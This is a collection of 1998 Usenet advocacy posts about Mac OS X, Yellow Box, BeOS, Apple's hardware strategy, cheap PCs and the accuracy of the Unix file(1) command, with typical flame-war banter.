I think everybody should get together and innovate... lets brainstorm.
Andrew
From: Andrew Weiss <ajwdsp@cloud9.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Sun, 19 Jul 1998 03:27:21 -0400
Organization: Pear Computer Ltd.
Message-ID: <35B19FD9.D2577064@cloud9.net>
References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <m%_q1.191$E5.1672335@proxye1.san.rr.com> <joe.ragosta-1507980648180001@elk60.dol.net> <6oj7pn$2j7$1@nnrp1.dejanews.com> <joe.ragosta-1607980653260001@elk63.dol.net> <6olne8$hfi$1@nnrp1.dejanews.com>
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> Exactly. Saying that your operating system is better than Windows is like
> saying that your car is better than an AMC pacer. It could still be crap.
Really *smirk* I'm kind of partial to the Gremlin.
Long live the Mirth Mobile!
Pacers are cute but not as cute.
Macs used to be cute :-)
iMac is kind of cute too.
Andrew
From: Andrew Weiss <ajwdsp@cloud9.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: Sun, 19 Jul 1998 03:52:40 -0400
Organization: Pear Computer Ltd.
Message-ID: <35B1A5C8.2052C4E1@cloud9.net>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com>
<6o5g4e$c6e$1@news.cs.tu-berlin.de> <6o5jba$6q$1@news.xmission.com>
<01bdac2c$05e11ee0$04387880@test1> <6o5nq8$6q$3@news.xmission.com>
<6o5ph5$s4k$1@cronkite.cygnus.com>
<SCOTT.98Jul13153549@slave.doubleu.com>
<SCOTT.98Jul14141739@slave.doubleu.com>
<6oikd3$hm4$1@msunews.cl.msu.edu> <35AD523C.14E2813E@cloud9.net> <SCOTT.98Jul16002516@slave.doubleu.com>
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Scott Hess wrote:
>
<my stuff snipped>
>
> That's just throwing good money after bad. Take the money that would
> be used to get the legal ball rolling, throw in the zeal necessary to
> see such a lawsuit through, and we could just _write_ the damn thing.
Hmm it was just an idea... okey doke Let's write it! I'm sure there are
enough ex-NeXTers/ etc. who could do it, would be happy to, etc. except
that it's copyrighted. Well lets just see if you have so many 1,000's
of programmers break the law at once... well then it's not the law
anymore. Of course you could always take your own knowledge of the code
and change it enough that it's not the issue but works the same way.
Somehow I still have my doubts about GnuSTEP at this moment. Besides I
like the old icons better. Of course if you could get one person to
steal the source for the entire build and dump it onto usenet... that
would be a very interesting experiment indeed... though I'd only
advocate that towards MS... but to threaten to do that...
OK I'm ranting in "I'm too tired, it's 3 AM but I have to finish reading
Usenet" language
Andrew
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Whats up with Edwin Thorne?
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Date: 19 Jul 1998 04:58:31 GMT
Organization: University of Maryland, College Park
Message-ID: <6orudn$em3$1@hecate.umd.edu>
References: <macghod-1807981251560001@sdn-ar-001casbarp049.dialsprint.net> <MPG.101aed208700dc2b9899bb@news.supernews.com> <joe.ragosta-1807982031210001@elk61.dol.net> <macghod-1807981759190001@sdn-ar-001casbarp256.dialsprint.net> <MPG.101b2cc0423023b29899be@news.supernews.com>
Donald Brown (don.brown@cesoft.com) wrote:
: 001casbarp256.dialsprint.net>, macghod@concentric.net says...
: > joe.ragosta@dol.net (Joe Ragosta) wrote:
: > > don.brown@cesoft.com (Donald Brown) wrote:
: > > > The attention Edwin is getting, makes me think he's accomplishing
: > > > something.
: > >
: > > Yeah. He's reducing the number of personal attacks directed at me.
: >
: > Oh please. Joe occasionally does get exasperated enough that he insults
: > people, but as a rule he is generally considerate to others. Edwin comes
: > here for nothing other than trolling. WIth the ammount of insults he
: > throws, how the hell can you blame people for insulting him back?!?!??!
: > Almost every post by him is a insult.
: I do think Edwin is also too offensive too often (and I've told him so).
: But, Joe and Edwin take about the same amount of abuse. Which makes me
: believe that it's less about how them comport themselves, and more about
: being Mac supporters.
If you post *reasonable* articles that may provoke some rational discussion,
based on recently published data, facts, or studies, no one's going to
flame you or abuse you. For example, I don't ever recall flaming you.
No matter your position, you'll get some sort of negative feedback from
people who does not agree with you. However, the amount of negative
feedback increases proportional to the amount of useless flamebait that
one throws out at any given time. It has nothing to do with your loyalty
to any particular platform, company, or doctrine. Another example, if I
may be excused for drawing Jason into the thread, he's a linux/Mac/PPC
Advocate. He believes in the superiority of the PPC platform, and yet I
don't see many people going off randomly just to flame Jason. I also
don't see people going off randomly to flame Mr Graves, or Mr. Tokarek,
or Mr Stone, or Mr Bennet. So why are all these people jumping on Edwin
Thorne? It's as I said, I have yet to see him post anything of value,
flamebait after flamebait, he calls just about everyone else "trolls",
and yet I don't know of anyone else that fits that definition better
than him. I know that I've sunk to new lows crawling to his level in
responding to him, but if you know of any logical, or reasonable way to
convince him that it isn't necessary to be a total nuisance, then please
let me know.
: Donald
From: Andrew Weiss <ajwdsp@cloud9.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Sun, 19 Jul 1998 04:06:56 -0400
Organization: Pear Computer Ltd.
Message-ID: <35B1A920.A1277B1D@cloud9.net>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <stevehix-1607982030060001@ip30.safemail.com> <Pine.BOS.3.96.980717065604.278E-100000@fbnp> <gmgraves-1707981124460001@sf-pm5-10-74.dialup.slip.net> <Pine.BOS.3.96.980717231938.231B-100000@fbnp> <35B0A7E5.4BE@nospam.earthlink.net>
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trimil@nospam.earthlink.net wrote:
>
> > Tyler Riti wrote:
> >
> > Who cares that the major players aren't stepping up to bat in Be's ballpark.
> > How old is the Intel port? Less that what, four months? Until the x86 port,
> > nobody took the BeOS seriously. It was a geeks OS on the PPC platform. Sorta
> > like the back lot with the neighborhood kids. Certainly you're not going to
> > get McGuire batting in that kind of condition. After the move to Intel,
> > suddenly the press took notice and now it's one of the media buzzwords.
> >
> > Despite that, no major software development company is going to jump up and
> > immediately port their flagship product for an up and coming OS. I'm sure
> > even someone like you can comprehend that.
> >
>
> The moment BeOS gets a minimal following with x86 developers, a certain
> company in Redmond WA will squash it like a bug. All this talk about
> BeOS somehow making it on Wintel is laughable.
Hmm I know an OS that is holding its own very well, is actually owned
partially by MS and yet is non MS in name and non-windows. Gee can we
say SCO? Yes it is a good product... has a lame licensing scheme
though... who ever heard of licenses on telnet logins. Feh! But as far
as how well it operates... I can say only BSD and Linux may be faster.
I haven't tried it in ages. It's license thing pisses me off too much.
Besides Linux has more software.
BSDI? nonMS, commercial, hmm can hold its own
Solaris 2.5.1...maybe some lesser known things ... I don't know what QNX
or Lynx OS run on... but there are a bunch, and many of them are
commercial... all quite "non squished" ... MS mainly squishes
application technologies now... OS's are a source of possible income
whether MS uses them or not.
Andrew
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: PC Magazine Apple Poll
Date: Sun, 19 Jul 1998 01:02:50 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-1907980102500001@sdn-ar-001casbarp247.dialsprint.net>
References: <35ADBB84.71CFB29@alum.mit.edu> <joe.ragosta-1607980756230001@wil45.dol.net> <slrn6qsbg4.860.sal@panix3.panix.com>
In article <slrn6qsbg4.860.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
> Joe, do not look directly at the RDF. What you want to do is punch a hole
> in a piece of cardboard and make a pin-hole camera and observe the RDF
> from a safe distance.
Oh my god, I am busting a gut laughing. I may even add that to my sig :P
--
So many pedestrians, so little time.
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Whats up with Edwin Thorne?
Date: 19 Jul 1998 05:25:32 GMT
Organization: I don't think so
Message-ID: <slrn6r3128.2b4.jason@jhste1.dyn.ml.org>
References: <macghod-1807981251560001@sdn-ar-001casbarp049.dialsprint.net> <MPG.101aed208700dc2b9899bb@news.supernews.com> <joe.ragosta-1807982031210001@elk61.dol.net> <macghod-1807981759190001@sdn-ar-001casbarp256.dialsprint.net> <MPG.101b2cc0423023b29899be@news.supernews.com>
Donald Brown posted the following to comp.sys.mac.advocacy:
>I do think Edwin is also too offensive too often (and I've told him so).
>But, Joe and Edwin take about the same amount of abuse. Which makes me
>believe that it's less about how them comport themselves, and more about
>being Mac supporters.
I don't think that you can compare the two. Joe draws abuse from the
DOSheads because he has been such a strong Mac supporter for all these
years in csma. Edwin draws abuse from all sides - and he's only been
here since March, IIRC.
Edwin takes crap because he dishes it out. Joe takes crap because he
has been a visible poster here for so long that he is seen as a pro-Mac
institution.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: Andrew Weiss <ajwdsp@cloud9.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscu
Date: Sun, 19 Jul 1998 04:24:16 -0400
Organization: Pear Computer Ltd.
Message-ID: <35B1AD30.3DFCE7FF@cloud9.net>
References: <35B08C8B.7E9A@REMOVE.wayne.edu> <8F33328.09B60011B7.uuout@relaynet.org>
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I believe it was MS-Works... I have an old photo of Bill Gates touting
Macintoshes as the ideal platform, in a Macintosh shirt...
Andrew
SHEPPARD GORDON wrote:
>
> On 07/18/98, ERIC IVERSON wrote:
>
> > That's not what George said is it? Sun, SGI, and HP have all been
> > successfull, because they have found their killer app. Be has yet to do this
> > or even show any real direction. They have a nice 'show' OS, so I guess
> > their killer app is going to be what, demonstrations?
>
> EI> What was the Macintosh's killer app? MacPaint? MacLogo?
> EI> My point being these things take time.
>
> You'd feel at home on the Amiga and AtariST newsgroups. ;->
>
>
>
>
>
>
> ---
> * TIMM 1.3
From: Andrew Weiss <ajwdsp@cloud9.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Sun, 19 Jul 1998 04:20:48 -0400
Organization: Pear Computer Ltd.
Message-ID: <35B1AC60.D45D802A@cloud9.net>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <gmgraves-1607982149230001@sf-pm5-7-71.dialup.slip.net> <6omnn1$o03$1@news2.ispnews.com> <gmgraves-1707981117140001@sf-pm5-10-74.dialup.slip.net> <6op9mm$at6$1@nnrp1.dejanews.com>
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Of course Microsoft will then just jump in and write a new program
called BeGone... which will install a ramdisk whether you have space for
one or not, fdisk/repartition/ and prepare your disk for Win98.
Well it could happen ... *smirk*
But then 1,000 or so people would march to his house with 45's and shoot
him in the nuts.... that is if they were dumb enough to run MS software
on anything but MacOS/Win X
I've seen a bit of Be, and the icons are really cute... the Windows and
widgets are atrocious. I couldn't tell the OS model...UNIX-like? OS/2
like? WIn/DOS like? or legacy MacOS like?... I don't think it's a
greatly interesting offering ... but I wish them well.
Andrew
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 19 Jul 1998 05:19:46 GMT
Organization: I don't think so
Message-ID: <slrn6r30me.2b4.jason@jhste1.dyn.ml.org>
References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <forrestDELETE-THIS!-1707981643140001@term3-7.vta.west.net> <mNOSPAMroeder-1707981742020001@192.168.21.168> <slrn6qvsub.qjo.jason@jhste1.dyn.ml.org> <edremy-ya02408000R1807982155230001@nnrp.usc.edu>
Eric Remy posted the following to comp.sys.mac.advocacy:
>>>But if you know what the file contains, you have a head start on solving
>>>the problem. What if I gave you an unidentified byte stream and asked you
>>>to tell me what was in it? That's really hard.
>>Not with UNIX. See magic(4) and file(1).
>Come on Jason, file(1) sucks. Let's give it a try:
>[michele]htdocs} file index.html
>index.html: ascii text
>Well, ok, it's ascii text, but it's also HTML. Why doesn't file(1) tell me
>that?
It got about 60% on the HTML files I had lying around.
>Let's try again
>[michele]htdocs} file massage.pl
>massage.pl: C program text
>Hurm, I didn't know that .pl was a standard C filename extension. There's
>a good reason for this of course- massage.pl is not C. It's perl.
Mine got exactly _one_ of the many .pl files on my machine.
>One more time to redeem file(1)
>[michele]acidbase} file acidbase.class
>acidbase.class: data or International Language text
>Nope. It's a Java classfile. I suppose you could consider it raw data,
>but that's a serious copout.
Mine called _all_ the .class files 'data'.
>Just for the record, it did get a GIF file correct.
Got all my GIFs and JPEGs. Not so good with BMP:
[jason Sun Jul 19 01:19:45 ~]$ file `locate .bmp`
/home/jason/jpeg-6b/testimg.bmp: PC bitmap data, Windows 3.x format, 227 x 149 x 8
/usr/lib/tk8.0/demos/images/face.bmp: C program text
/usr/lib/tk8.0/demos/images/flagdown.bmp: C program text
/usr/lib/tk8.0/demos/images/flagup.bmp: C program text
/usr/lib/tk8.0/demos/images/gray25.bmp: C program text
/usr/lib/tk8.0/demos/images/letters.bmp: C program text
/usr/lib/tk8.0/demos/images/noletter.bmp: C program text
/usr/lib/tk8.0/demos/images/pattern.bmp: C program text
/usr/local/qt-1.33/examples/picture/flag.bmp: PC bitmap data, Windows 3.x format, 72 x 44 x 4
/usr/local/qt-1.33/examples/widgets/qt.bmp: PC bitmap data, Windows 3.x format, 48 x 48 x 4
>file(1) goes about 1.5/4. This wasn't hard to do- I just picked four
>random files on my webserver. Anything this bad is basically useless.
Depends on the format, obviously. Probably neither of our magic databases
are as up-to-date as we'd like.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: Andrew Weiss <ajwdsp@cloud9.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Date: Sun, 19 Jul 1998 01:17:26 -0400
Organization: Pear Computer Ltd.
Message-ID: <35B18166.2D5AF188@cloud9.net>
References: <6oj739$aqu$1@lwnws01.ne.highway1.com> <rmcassid-1507981623500001@dante.eng.uci.edu> <6ojtmb$otj$2@lwnws01.ne.highway1.com> <joe.ragosta-1607980759480001@wil45.dol.net> <6oktri$frj$1@lwnws01.ne.highway1.com> <rmcassid-1607980938420001@dante.eng.uci.edu>
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But this is exactly the problem... Too many non-computer literate people
are insisting on buying the $999 systems or refurbs, it should be more
literate people buying these, since they can actually get killer systems
or upgrades for those prices. I can get a nice Alpha for $1300. These
people come into my friend's store and they're like we want a
computer... this is how much it should cost... you will give me a
computer. And when they break them (some computers come back literally
falling apart), they demand refunds and other crazy things which have
nothing to do with the computer.
Why make a whole new computer $900? You know it's Crap in the box... at
least somewhere inside the case... some half duplex sound card...
winmodem perhaps... win printer? HP crap with cartridges you have to
take the black out to print color. ISA video...proprietary RAM... etc.
etc. etc. I think they should sell decent machines... especially to
dumb people. Keep those people who have no business even buying a
machine out of the market, but alas that's not Bill Gatus of Borg's
philosphy... and by dumb I don't mean people who don't know everything
about their computer, but cup-holder CD-ROM dumb... and there are more
than you think. Restrict these people to WebTV or something, or build
some nice iMAC-like cutesy boxes... a Nintendo Extended... for people
who want to print pretty posters, and do e-mail, maybe chat, but can't
be bothered with broken machines. Leave the decent hardware to people
who know about it.
Robert Cassidy wrote:
>
> In article <6oktri$frj$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
>
> >The average 999 cpu purchaser is not looking at things like
> >expandability (wich the pc's are better at) or price performance, they are
> >specifically looking at what can they get for 999 (and not spend 30% more).
> >And at that price point, many are not demanding a name brand, just a machine.
> >So apple in many cases will be compared to non-namebrands; and to be fair
> >they ought to compete on some level with non name brands since there is no
> >non-name brand mac segment that is viable.
>
> But a big percentage of that _same_ crowd also doesn't know squat about
> getting their computer to run, and has never heard of Computer Shopper.
> They just want a cheap, reliable, easy to use system. My mom _hates_ her
> Compaq because it has a habit of breaking every time her husband goes away
> on a business trip for a week, and there is _no_ way she can get it fixed
> (and I'm not nearly capable enough to fix a PC over the phone).
>
> But the iMac - not much to go wrong there.
>
> -Bob Cassidy
Compaq's Break all the time... it's not her fault... that they suck.
And they are the most difficult to fix from my experience...
Talk about a lack of aesthetic taste too... take a look at some of their
past cases.
My .02
Andrew
From: Andrew Weiss <ajwdsp@cloud9.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Date: Sun, 19 Jul 1998 01:24:36 -0400
Organization: Pear Computer Ltd.
Message-ID: <35B18314.FF9C96BF@cloud9.net>
References: <6oktri$frj$1@lwnws01.ne.highway1.com> <edewEw7oKo.3A1@netcom.com> <6ompst$m5t$4@lwnws01.ne.highway1.com> <edewEw8FEq.HpI@netcom.com> <6onlst$9oe$1@lwnws01.ne.highway1.com>
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Of course that's only if you are talking about garage shop PC's... most
name-brands are totally non-standard inside, with the exception of maybe
NEC and Micron, I haven't cracked open a Dell yet though. If you
compare equivalent grades of Compaq to an NEC, or even a home-build, you
will see sometimes noticeable performance differences, lack of pci slots
in the name-brands vs. the home-build (more ISA though), different
gee-gaws on the case that break with differing amounts of abuse... some
if you practically just blow on them. Different SIMMS, DIMMS, chipsets,
etc. And I hate motherboards with riser cards... those suck. Why not
have the slots just on the plain motherboard. It started with Packard
Bell when I first noticed they had a tower, but ran the cards the wrong
direction... what good was that tower then if they were restricted to
the bottom card-width of the machine. Just a desktop tipped over...
John Kheit wrote:
>
> edew@netcom.com (Eric Dew) wrote:
> > By commodity, I mean a product which is sold (or not) based solely
> > on its price. In this case, computers are definitely not a
> > commodity. You can increase "value" by making it look cooler
> > (like the Rock City computers, that is, if you think a black cube
> > on its corner is cool), you can make it expandable, you can make
> > it easy to use, you can offer lots of software or lots of extra
> > hardware. The fact that computer companies can tune the type of
> > computer to buyers' preferences makes it NOT a commodity (in my
> > definition above...oil is a commodity because -- aside from
> > gullible sports car drivers -- any one type of oil is as good as
> > another, the only issue is the price).
>
> Well aside from silly mac users, most people feel one simillarly
> featured machine is generally as good as another.
>
> > So, computer sellers CAN create marketing niches for themselves.
> > Anyone needing a serious database server will pay plenty for a
> > SUN or IBM mainframe or Amdahl's machines rather than a Compaq
> > or Dell server, and it's clearly not because of the price.
> > However, a not-so-serious DB server could use a Dell or Compaq.
> >
> > Desktop publishing work with Apple stuff because they prefer them
> > over Windows, not because they're cheaper.
>
> Oil is sold in different grades for different purposes, so is gold.
> At anyone grade people generally don't care. Some, however like
> italian gold, and brand X oil. But generally people don't give a
> darn. They by the particular grade they need for their task.
> Generally, people feel similiarly about computers; undoubtedly to
> a lesser extent than say oil.
>
> --
> Thanks, be well, take care, later, John Kheit; self expressed...
> ______________________________________________________________________
> UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
> mailto:jkheit@mediaone.net
> http://people.ne.mediaone.net/jkheit
> You're dangerous because you're honest...
From: Andrew Weiss <ajwdsp@cloud9.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sun, 19 Jul 1998 01:53:58 -0400
Organization: Pear Computer Ltd.
Message-ID: <35B189F6.20D0D5A8@cloud9.net>
References: <6oj92v$6d9$1@news.spacelab.net> <B1D2D2AB-D80AC@206.165.43.119>
<6ol3ov$722$2@server.signat.org> <not-1607981031580001@2-20.phx.psn.net> <6olhq1$ed2$1@server.signat.org>
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Maury Markowitz wrote:
>
> In <not-1607981031580001@2-20.phx.psn.net> Michael M. Eilers wrote:
> > There is absolutely no way that Yellow Box apps could
> > ever run on Mac OS 8 or below, and not even on 8.5.
>
> Clearly MacOS-X is not 8.x. This statement is meaningless.
>
> That said, I did mean "every PPC ever built" not "every Mac ever built".
Yes but clearly a third party could consult with apple and build a
viable set of libraries to provide functionality to the Yellow code
base... a Yellow box on the Mac (I thought that did exist as well), and
the point I believe is that the interface to vm and other things is far
different, though there is a way to use this code with that knowledge in
mind and write things somewhat transparently in most cases. I had Open
BSD on a IIx, this machine could definitely do OS X if a set of
programmers sat there and worked at it for a bunch of months... this
would be utterly stupid since the experience at 16Mhz would be ghastly
and you might as well buy a new machine for the $50 thing you would have
currently on the desk, but...
>
> > of compiling some libraries--an app written for Yellow Box would be
> > multithreaded, preemptively multitalking and writtne for a totally
> > different memory-handling and VM routine.
>
> That's right, the MacOS-X routines.
The BSD 4.4 routines. I'm beginning to think of Mac OS X/ BSD as NT is
to ntkrnl... the difference being is the quality, and the ability even
with only a gui to get at the guts. It's almost a complete reversal...
Win has been famous, well not as much as Linux, but PC OS's have been
famous for being able to get at the guts while Macs restrict.
Theoretically the OS X seems more likely to be the opposite.
>
> > As for Mac OS X running on every machine they've built: a pipe dream's
> > pipe dream. A comment like that doesn't even pass the sanity test.
>
> Passing your sanity test isn't high on my list.
>
> The rather similar Rhapsody OS runs on a variety of machines, and the
> technically even more similar MkLinux runs on a very wide selection of Macs.
> Clearly MacOS-X on the same selection of machines is nothing more than doing
> the work, there is no reason, even in theory, to suspect it could not work
> (and plenty, including direct evidence, that it would).
Like I said, it could of course work with some exceptions like the
68000's lack of an MMU, etc. But to expect Apple to continue 68K work
when they are so much trying to get rid of them finally is nuts... even
601's are being toasted as far as Apple is concerned.. 603/604 will come
next in the toast list, but this one I have a feeling that despite what
Apple says, millions of angry professionals with 9600's will bitch till
the cows come home, esp those like my mother who uses hers in graphical
design and needs the 6 PCI slots, and 4 banks of DIMMS (256 MB
capable)...Being told that their top of the line 9600's are obsolete
cannot be tolerated by the market. The out with the old mentality works
to a point it is similar to the M$ idea to finally kill the DOS basis
with Win2000/NT 6.0 which is supposed to be the unified product. Still
Win98 has plenty of DOS in it. I know Software + Hardware, but it's the
same idea... at least Macs have been RISC from the start practically and
don't have to put hacks in their chips like Intel does to move the
technology forwards yet still keep compatibility with an aging
standard... i.e. Risc86 in Pentium Pro's and II's, where the heart is
Risc and everthing is translated to CISC.
>
<snip>
Andrew
From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: comp.sys.next.advocacy
Subject: Apple houses licensing company for Taligent patents?
Message-ID: <uEjs1.692$E5.5085028@proxye1.san.rr.com>
Date: Sun, 19 Jul 1998 10:12:42 GMT
NNTP-Posting-Date: Sun, 19 Jul 1998 03:12:42 PDT
Organization: TWC Road Runner, San Diego, CA
All this talk about "People, Places and Things" prompted me to look around
and see what I could find.
<http://www.otlc.com/patents/page1.htm>
Object Technologies Licensing Corporation's contact address is as follows:
One Infinite Loop
Mail Stop 38-OTL
Cupertino, California 95014.
A quick domain name lookup reveals they're physically on N. DeAnza Blvd
nearby (same zip code--unknown if this is an Apple facility or what). The
admin. has an AOL address.
At first blush this is bizarre. I would have thought IBM would have taken
over the Taligent patent portfolio when Taligent because a wholly-owned
subsidiary and then was absorbed completely into IBM. Apparently not.
Anyone interested in the stuff done at Taligent to be able to compare it to
OPENSTEP (a comparison I'd *really* like to see, btw) should see the above
web site. It seems to have links to the full patents on the IBM patent
server.
It would seem these patents it still fairly easily available for Apple to
(license?) use in Mac OS X if it chose to.
--Ed.
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 18 Jul 1998 22:01:03 GMT
Organization: University of California at San Diego
Message-ID: <slrn6r26ov.l5c.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net> <6okmrf$10j$3@ironhorse.plsys.co.uk> <not-1607981039320001@2-20.phx.psn.net> <6ollij$h19$1@server.signat.org>
On 16 Jul 1998 19:50:43 GMT, Maury Markowitz <maury@remove_this.istar.ca> wrote:
:In <not-1607981039320001@2-20.phx.psn.net> Michael M. Eilers wrote:
:> I'm sure that is true, but it still marks him as a biased source of
:> information on the subject at hand. What guarantee is there that he would
:> tell us that Yellow Box is dead if he heard *that* from his sources?
:
: What guarantee is there that that Henry Norr wouldn't do the exact
:opposite? In fact, he did. KB said that YB was going ahead and that it had
:something to do with Apple's "java" position (whatever that is...).
This "thing" with YB and Java is hardly new. Indeed tighter linkage
between Java and OpenStep had started with NeXT before the buyout.
The answer is simple.
Apple wants two development environments, not three: Carbon
(traditional MacOS) and Java (Sun compatible libraries, and/or Yellow
libraries).
This is good for Yellow Box unless you loath Java, because it is being
hooked with a cross-platform technology which is "de rigeur" these
days. If Son_Of_Interface_Builder turns into an all-around excellent Java
tool, then so much the better.
Straight Sun Java does indeed have some advantage over Yellow Box:
garbage collection, and distributed, transportable objects and classes
with that same GC (RMI).
It's the same issue as with MacOS X vs Rhapsody. If you understand the
technology you can decode the marketing messages.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: Andrew Weiss <ajwdsp@cloud9.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sun, 19 Jul 1998 02:38:10 -0400
Organization: Pear Computer Ltd.
Message-ID: <35B19452.B364E82E@cloud9.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com> <gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net> <6oj36m$bgq$1@news.digifix.com> <gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> <6olsfi$jeh$3@server.signat.org> <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <6onmii$njn$1@server.signat.org> <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net>
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George Graves wrote:
>
> As I see it, Apple's (and the Mac's) best chance lies along the
> following lines:
>
> 1) Write a version of OSX which will not only run on Intel, but
> will run native Windows apps as if they were Mac apps.
Cool. Sounds great... that's what we have Rhaptel for.
> 2) Back out of the PowerPC. Continue to support those already
> out there, but make no more new ones. Build high quality
> leading-edge Intel machines which innovate the platform and
EEEEEEEEEEEEEWWWWWWWWWWWWWWWWW
Not another clone maker... not more Intel crap... The thing that makes
Apple great and unique is the presence of the only other widely known
processor architecture on the market. IF APPLE CANS the PowerPC it will
be a nice shooting gallery against MS since Alpha sales and Sparc, MIPS,
and everything else don't amount to much in the consumer arena. Besides
PPC's are damn cool... I've been an Intel user since I was 10... I hate
them practically... My Pro 150 is at least one of the better products
they made.
> which are tightly integrated with the Intel MacOS, In other
> words, out-Windows Windows. We all know how much better
> the Mac GUI is better than Windows, and we know the
> superiority of Unix over NT. OSX will have both. People would be
Not really... unless it's a third party add-on.
> able to choose their OS based upon their preferences, not upon
> which platform has the software they need.
> By more tightly integrating the Apple-built Intel boxes to the
> Mac OS, There will be a compelling reason for people to buy
> Apple rather than Compaq, Dell etc. BUT, if money is a problem,
> the Mac OS will run on those machines as well, just without
> the level of integration that the Apple boxes provide.
I don't know about this... the presence of so many PC peripherals and
configurations from thousands of no-name companies is an nightmare..
